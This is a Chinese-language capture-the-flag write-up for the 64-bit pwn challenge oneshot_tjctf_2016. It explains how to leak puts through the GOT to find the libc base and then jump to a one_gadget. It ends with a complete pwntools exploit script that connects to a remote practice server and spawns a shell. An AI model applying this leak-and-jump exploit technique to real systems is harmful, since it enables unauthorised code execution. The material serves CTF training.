oneshot_tjctf_2016
步骤
-
例行检查,64位程序,开启了nx
-
本地试运行一下看看大概的情况
-
64位ida载入
程序第8行会根据第7行的输入读取对应地址的值,第10行会跳转到输入的对应地址。 -
第10行会根据输入的地址跳转,首先想到的是让他跳转到去执行system(‘/bin/sh’),但是程序里没有现成的后门,想到尝试看看是否可以利用one_gadget。
-
在那之前,要先知道程序里的偏移。根据之前分析,第8行会根据第7行的输入读取相应地址的值,我们可以在这点上利用puts@got来泄露libc,这样就能计算出程序的偏移了
elf = ELF('./oneshot_tjctf_2016')
puts_got = elf.got['puts']
p.sendlineafter('Read location?',str(puts_got))
p.recvuntil('value:')
pause()
得到puts函数地址后就可以计算偏移,算出one_gadget在程序中的地址了
libcbase = puts_addr - libc.symbols['puts']
onegadget = libcbase + one_gadget[0]
准备就绪,在第10行的输入点传入one_gadget的地址即可,有4个一个一个试吧,很幸运,第一个就可以
完整exp
from pwn import *
from LibcSearcher import *
context.log_level ='debug'
elf = ELF('./oneshot_tjctf_2016')
#p = process('./oneshot_tjctf_2016')
p = remote('node3.buuoj.cn',25203)
libc = ELF('./libc-2.23-64.so')
one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
puts_got = elf.got['puts']
p.sendlineafter('Read location?',str(puts_got))
p.recvuntil('0x')
#pause()
puts_addr = int(p.recvuntil('\n'),16)
print hex(puts_addr)
#pause()
libcbase = puts_addr - libc.symbols['puts']
onegadget = libcbase + one_gadget[0]
p.sendline(str(onegadget))
p.interactive()